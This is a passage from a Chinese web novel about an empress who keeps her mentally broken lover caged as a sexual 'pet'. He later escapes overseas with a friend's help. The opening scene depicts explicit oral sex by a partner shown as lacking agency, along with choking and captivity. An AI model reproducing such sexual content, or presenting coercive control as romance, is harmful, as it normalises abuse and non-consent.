越长风慵懒地靠在主位的座椅上,对面坐着神色极不自然的顾锦卿。 柳孤城跪在饭桌下女郎微分的双腿之间,飘逸的裙摆被卷至腰间,男人的头正在一拱一拱的耸动。 越长风爱怜地抚摸着那一头垂落的青丝,眸光幽深,像她手下发丝一般墨黑如夜。 男人得到鼓励,工作得更加勤勤恳恳,脸颊撒娇一样的往她的大腿上蹭。 “啪”的一声,顾锦卿把筷子重重拍在桌上,脸色从耳根一路烫红到鼻尖,也不知是出于羞耻还是愤怒。 “就算臣不再是殿下的……小狗,殿下也没有必要像这样羞辱臣。” 越长风哑然失笑,双腿微微一夹,手上也往顾锦卿的碗里夹了一块肉。 放在柳孤城后脑壳上的手温柔地往下按去,她的话音因情潮上涌而变得有些沙哑,却依旧平静得让人心惊。 “不是在羞辱你。” “这是他下意识的动作,不满足他根本无法好好吃饭。” 她勾着他的下巴让人抬起头来,男人眼中依旧一片茫然,唇瓣和下巴上还沾着水光。 越长风拿着杓子,往男人口中喂了一口饭,又往他唇边递了一杯温水。 漱过了口之后,男人又再次埋头下去。 越长风这才抬首,定定的看着顾锦卿:“其实,你给柳孤城说的故事,是说给本宫听的吧?” 顾锦卿干脆直接认了。“是。” “臣和阁主,从来都有着同一个理想。不同的是,他觉得这个世道需要彻底破而后立,而我觉得这个世道还有得救,可以循序渐进。” 小狗眼中五味杂陈,几次欲言又止,最终还是忍不住说:“我想为我的姐姐守护这个天下。” 越长风笑笑,没有怪责他那一句逾越的“姐姐”,反而温和的说:“本宫说过,会等你走到和我一样的高度。” “我会站在这里等你。” “你知道我的天性是绝对控制,要让我对权力放手并不容易,但我可以学习……” 她自嘲一笑,似乎在笑自己这饼似乎画得有些太大了,又似乎在笑自己什么时候真的愿意主动低头了。 “希望可以去了解你们那个理想世界,也希望……你可以走到一个足以作出改变的位置,去达成你的理想。” 她的话是对着顾锦卿说的,可眸光却一动不动的定在身下的柳孤城头上。 男人恍若未闻,动作没有一丝变化,就连一下的动摇也没有。 仿佛他什么也没听得明白,就算听明白了这些“理想”也与自己绝对无关,满心满眼的只剩下自己正在服侍的主人,所思所想只是让她舒服,让她快乐,被她使用从中得到快乐。 这就是他柳孤城生存的全部意义。 顾锦卿似乎有些难以置信,过了好一阵子才反应过来:“……好。” “那……阁主怎么办。” “如果他醒不过来的话,那怎么办?”他顿了顿,犹犹豫豫的补充了一句:“如果他醒过来了,殿下又打算将他怎么办?” 越长风把男人从自己的腿间拉开,伸手抚上了他湿漉漉的嘴唇。 然后玉指慢慢下移,动作骤然加重,一下子变成了掐着男人脖子的动作。 “你真的醒不来了么?” “还是你早就醒了,故意折磨我?” 她纵声大笑,笑声是顾锦卿从未听过的疯魔,夹杂着一丝他也从未听过的悲凉。 “那我们就一起沉沦。” “……你看,他根本离不开我。” ----- 新年伊始,又是一年一度的正旦大 朝会。 只是这一年的含元殿上不再设有摄政长公主的宝座,而那张雕着九爪金龙的黄金座上,坐的则是曾经的摄政长公主,如今的新帝。 之前的小皇帝由于未到亲政的年龄,一直沿用先帝的承元年号。 新帝登基,改年号为启元,是为启元元年。 承先启后,承元帝是守成之君,虽能紧守祖宗基业,但作为安于现状的统治者,却也任由蚕食百年的世家蛀虫继续腐蚀这个已是朽坏不堪的世道。 启元帝不是一个耽于过去的人,相反地,她不只要向前看,更要任用那些愿意抛却过去、向着未来疾奔的人,过去已经腐烂不堪,只有未来还有一线生机。 “吾皇万岁万岁万万岁!” 越长风站在高台上,看着群臣三拜九叩,听着震耳欲聋的山呼万岁。 足下众生,皆如蝼蚁。 可蝼蚁足以腐蚀枯木,蜉蝣足以撼动大树。 众生皆有自己本来的梦想。 沈约位列文官之首,在朝堂上不苟言笑的中年权相在别人看不见的地方朝她眨了眨眼。 顾锦卿与翰林院的其他编修、修撰站在一起,离高台有一定的距离,她却还是一眼便认出了他。 陆行舟在登基大典上终于有了见光的资格,却依旧选择了廊柱下打着重重阴影的位置,周身气场一如既往的阴狠冷硬。 他们的故事,这才刚刚开始。 ——还有远在长公主府的柳孤城。 他们昨晚在自家院子里守岁守了一夜,直到登基大典之前的两个时辰越长风才不得不入宫准备。 在她离去的时候,柳孤城已经在巨大鸟笼里沉沉睡去。 越长风已经准备好了,只待登基大典过后便回去接他,然后连人带床装在鸟笼里带回宫中。 ----- 当她以新帝的身份风风火火地回到长公主府的时候。 柳孤城却消失得无影无踪。 鸟笼的门本来就没有上锁,越长风踏进屋里的时候看见的正是往外开着的笼门,里面的床榻上是折叠得整整齐齐的床铺被褥,除此以外空无一物,也空无一人。 和上一次不同的是,这一次他甚至连项圈也没有留下。 假的,都是假的。 除夕夜里那一声声的喜欢,那一句句意乱情\迷的喘\吟,都是假的。 再一次被背叛的愤怒席卷而来——他怎么敢,他怎么能再一次无声无息的逃跑! 越长风当机立断的命令:“封锁出入帝京的所有路线……包括聚贤阁地下据点那些暗道。” “还有,把顾锦卿押来见朕。” 长公主府的地牢里,这个曾经关了柳孤城半月之久的地方,空气之中仿佛还残留着当时淫\靡的气息。 昏暗的灯火下,越长风正襟危坐在圈椅里,面前跪着的却是另外一名男子。 越长风上身前倾,一手抓住顾锦卿藏青朝服的衣领,一向从容自信的眉目之间只有令人窒息的阴鸷狠戾:“他从一开始便是清醒的,是不是?” 她没有说这个“他”是谁。 顾锦卿也大可以装傻扮懵。 可他竟是大大方方的承认了:“是。” 他顿了顿,又摇了摇头:“也不是。” “哥哥他根本不想清醒,在那样的处境下清醒让他极度痛苦。所以,他的下意识为他做出了一个选择——什么也不去想,什么也不去面对,就这样一路沉沦下去。” “可是,他还是强迫自己醒了过来。” 越长风眉头紧皱,冷声问:“为什么?” 顾锦卿气定神闲的看着她,不答反问:“陛下找到哥哥的话,打算对他做些什么?再次打碎他的人格,把他变成一件随心所欲的玩物,让他再次陷入矛盾、痛苦、自我怪责和逃避的轮回?” 握住男子衣领的手一下子松开,越长风的眼神变得茫然,无力跌坐在圈椅里。 她的确是打算这么做的。 一而再、再而三地违反自己命令的狗,不就是欠调教么? 看见越长风脸上表情,顾锦卿也知道她在想些什么,微微苦笑:“哥哥什么都给了陛下,他的自由、尊严、一手一脚拼搏回来的聚贤阁,就连他这些年来作为心灵支柱赖以生存的那个理想也可以为了陛下放弃。” “那是因为他爱陛下。” 顾锦卿跪在地上,抬首仰望着这天下如今最尊贵的人。 他的目光平静而纯澈,仿佛毫无保留地暴露在她面前的不只是柳孤城的爱,还有自己的一颗赤子之心。 越长风娇躯一震,勉强抓紧了圈椅上的靠手。 顾锦卿深深呼了一口气:“但陛下也应该知道哥哥的过去,他比谁都需要一个独立的人格,以及活着的意义。” “陛下已经尽情践踏了他人生中最重要的两样东西,现在他需要去面对现实,更加需要把那两样东西重新找回来……否则哥哥他根本活不下去。” 越长风缓缓站起身来,居高临下的注视着他,周身气场压迫得让人喘不过气来。 她的声音轻轻柔柔的,却是没有一丝暖意:“所以,你帮他逃跑了。” 就在她的眼皮底下。 是她亲口下令顾锦卿每日过来府中陪伴柳孤城的。 所以也同样是她,亲手给了柳孤城再次逃跑的阻力。 越长风一直都知道,柳孤城是一个不顾一切的疯狂赌徒。 可是在与他的博弈之中,她一次都没有输过。 直到这一局。 她轻视了柳孤城,也高估了对于他和对于自己的掌控。 结果一败涂地。 “为什么?”她质问着面前这个帮助他彻底赢了自己的人。 想起昨晚三人之间相处的光景,她便觉得自己更加可怜可笑:“所以昨晚你和朕之间的对话,那些朕愿意去理解和学习的话……他全部都听明白了,却一点也没有改变他的心意?” “因为他不需要陛下的施舍。”顾锦卿直截了当的说:“他不需要陛下把他所珍视的东西统统夺走,然后从指缝间漏回给他。” “他需要的是自己。” “用自己的双脚去重新走一条路出来,用自己的双手去重新塑造自己。” “荒谬。”越长风冷笑:“普天之下,莫非王土。他能走得去哪?” 她已经是天下之主,没有了影子朝廷在暗中的运作和制肘,要从她的天下揪出一个人来又有何难? 顾锦卿微笑着注视着她,仿佛她其实早应知道答案。 那一眼就像醍醐灌顶一样,她忽然发现其实这两个人还真的一早就已经把答案送给自己了。 “那个关于海外文明的故事……那不只是一个故事。” “那是一个提示,也是给朕的最后一个机会。” 可惜她自以为已经把柳孤城牢牢掌控在手心之中,想都没有想过一只没有灵魂只会随时随地会在她面前发\情的玩偶竟然会离得开她,也没有想过他竟会在临走之前给她留下一个提示—— 可就算她知道了,那又怎么样? 柳孤城可以在登基大典之日悄无声息的离开,自然是早就留了后手。 他当初主动给自己上交了江东船务的航线图,但这并不代表他把江东船务的船只、船队以及多年累积下来的明线暗桩都交了出去。 而曾经身兼柳家家主和聚贤阁主的他,给自己留一条后路,对柳孤城来说的确不难。 他只需要安全到达属于江东船务的地头。 然后上船,扬帆,出海。 越长风便永远也不会知道他的去向。 甚至连他曾经交出那些航线图,也未必有他将会用到的路线。 ——就算她知道他向哪个方向出了海,漂洋过海需要的不是一般的船只,也不是一般的航行技术,眼下也只有江东船务拥有符合资格的船只和船队。 柳孤城自然会把这些人都统统带走,不给她留一丝机会。 “你怎么能任 他作这么危险的决定!”越长风难以置信地看着地上好整以暇的顾锦卿,“海上风云莫测、凶险之极,就算他有最顶尖的船队和船只,航海志上的东西之所以难以查证,本来就是因为这些最顶尖的航海家里十之八\九都是有去无回……你怎么能让他这样以身犯险!” 顾锦卿一脸无辜的看着她:“可是,这就是哥哥想要的呀。” 他们之间的最后一局,柳孤城宁愿以自己的生命作为赌注。 “朕不信。”越长风眼底布满腥红的血丝,丝毫没有走上权力之巅的喜悦,也没有平日那股游戏人间的从容。“此去江东路途遥远,朕就不信在他出海之前还能追不到他。” “臣也不信。”顾锦卿微微一笑,“可是陛下刚刚登基,启元的年号正是代表着陛下承先启后的革新之志。” “天下间还有这么多陛下想要改变的东西,相比那些鸿鹄之志,寻找一个人……其实也没有那么重要的吧?” 欲戴王冠,必承其重。 她如愿以偿地登上了至高无上的位置,却也失去了率性而为的自由。 她现在是皇帝了,不能不管不顾的劳师动众只为追捕一个男人;而且她不仅离不开这座京城,从今以后作为皇帝,就连离开皇城也难以随便做到。 柳孤城这一次的逃跑,怕是注定了他们永不相见。 越长风阴沉着脸,没有回应,默默抬脚正要离开地牢。 顾锦卿又忽然说了一句:“临别前,哥哥跟我说了一句后会有期。” “所以我相信这一别并非永远。” “陛下愿意相信吗?” ----- 元旦清晨,在越长风入宫之后,登基大典开始之前。 今年元旦又是漫天风雪的一日。 顾锦卿在离皇城最远的南门前下了马车,撑着伞在雪中站了一刻左右,只见柳孤城也撑着伞从朱鹊桥上款款而来。 大年初一,百姓们都忙于到处走动拜年,而有一官半职在身的人都正在赶往皇城叩拜今天登基的启元新帝。 城门前几乎空空如也,零零星星的守门将士显然认得出这两个人,悄悄对两人打了个手势,然后彻底的视而不见。 “哥哥……”顾锦卿声音颤抖,喉间有些哽咽。 柳孤城拍了拍他的肩膊,把他肩上雪花都拂了下来,轻轻一笑打破了沉重的气氛:“谢谢锦卿替我奔走了。” 顾锦卿重重的吸了一口气。“哥哥,海上凶险,这么多年来江东船务有几个人能活着回来你也是知道的……你真的想好了吗?” 柳孤城亲昵地捏了捏他在雪中冻得有些发红的鼻尖。“就是这样,我才感觉自己是真正的活着啊。” 明明是准备扬帆千里,前程茫然未卜的人,语气却是这样的稀松平常,仿佛他才是留下来的那一个。 “那你出海之后……打算往哪个方向?”顾锦卿有些迟疑的问。 柳孤城意味深长的笑笑。 “但去莫复问,白云无尽时。” ——得了,别问。 顾锦卿又深深的吸了一口气,忍住眼中正在翻滚的水珠,伸出没有拿伞的手紧紧拥住了他。 “哥哥是我这一辈子唯一的朋友,没有了你,我真的……” 柳孤城回抱住他,力度是让人心安的温和与坚定。 他拍了拍顾锦卿的背,索性把官袍背上的飘雪也拍了下来,看着自己的作品又得意的笑了笑。 “莫愁前路无知己,天下谁人不识君?” 拥抱既分,两人相视而笑,透过飘落的雪花,在那一刻都看见了对方眼底的点点星火。 顾锦卿的眼中,燃烧着一片赤子之心,还有对前程的野心和冲劲。 而柳孤城的眼中,闪耀着对于未知人生的向往。 眸光深处,似乎还有一丝难以言喻的感情,却很快便被他掩盖下去。 他们要走的路注定了是南辕北辙,但在人生交叉的十年之间,却又互相扶持拉着彼此从泥泞之中爬了出来,因为有了彼此的存在而慢慢疗愈了自己的满身疮痍,亦因为对方而成为了一个更好、更完整的人。 就算道不同那又如何,人生得一知己如此,已经是大部分人一生难求的机遇。 柳孤城粲然一笑,再无留恋地转过身去,懒懒挥了挥手:“锦卿,后会有期。” 顾锦卿心中一时五味杂陈,他抿了抿唇,忽然冲口而出:“那么……陛下呢?” 他突然想问,没有了你那陛下怎么办?有没有什么想跟陛下说的?和陛下之间,有再见面的可能吗? 千言万语,最终全部沉淀于三个字里。 柳孤城的脚步一顿。 这一顿,仿佛顿了半辈子的时间。 自国子学里单方面的窥视开始,越长风在他的生命里的确已有半辈子的时间。 十三年的时间有如白马过隙,在短短一刹之中就在眼前飞掠而过。 柳孤城没有回头,抬步走上顾锦卿来时的马车,头也不回的出了城门。 一个时辰之后,越长风将会登基为帝,她会拥有至高无上的权力,她会和沈约、顾锦卿、还有更多更多的世代之才一起剔骨去腐,重建一个全新的世道。 她也会有后宫奴侍,她的身边大概永远也不会缺狗。 只是不知道这天下还有没有狗会像他这样无法驯化的就是了。【你现在阅读的是 】